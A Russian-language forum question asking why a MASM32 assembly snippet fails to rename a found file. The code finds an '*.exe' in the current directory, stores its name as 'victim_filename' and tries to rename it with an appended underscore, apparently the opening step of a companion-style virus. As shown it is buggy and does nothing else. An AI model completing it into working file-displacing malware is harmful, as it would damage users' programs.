Не могу понять почему не работает следующий код - не переименовывается найденный файл. Код (Text): .386 .model flat, stdcall option casemap :none ; case sensitive include \masm32\include\windows.inc include \masm32\include\user32.inc include \masm32\include\kernel32.inc includelib \masm32\lib\user32.lib includelib \masm32\lib\kernel32.lib .data? wfd WIN32_FIND_DATA <> hfind DWORD ? victim_filename db 256 dup(?) .code start: jmp @F searchfilter db "*.exe",0 plus db "_",0 @@: push offset wfd push offset searchfilter call FindFirstFile cmp eax,INVALID_HANDLE_VALUE jz stopsearch push offset wfd.cFileName push offset victim_filename call lstrcpy push offset plus push offset victim_filename call lstrcat push offset wfd.cFileName push offset victim_filename call MoveFile push hfind call FindClose stopsearch: push 0 call ExitProcess end start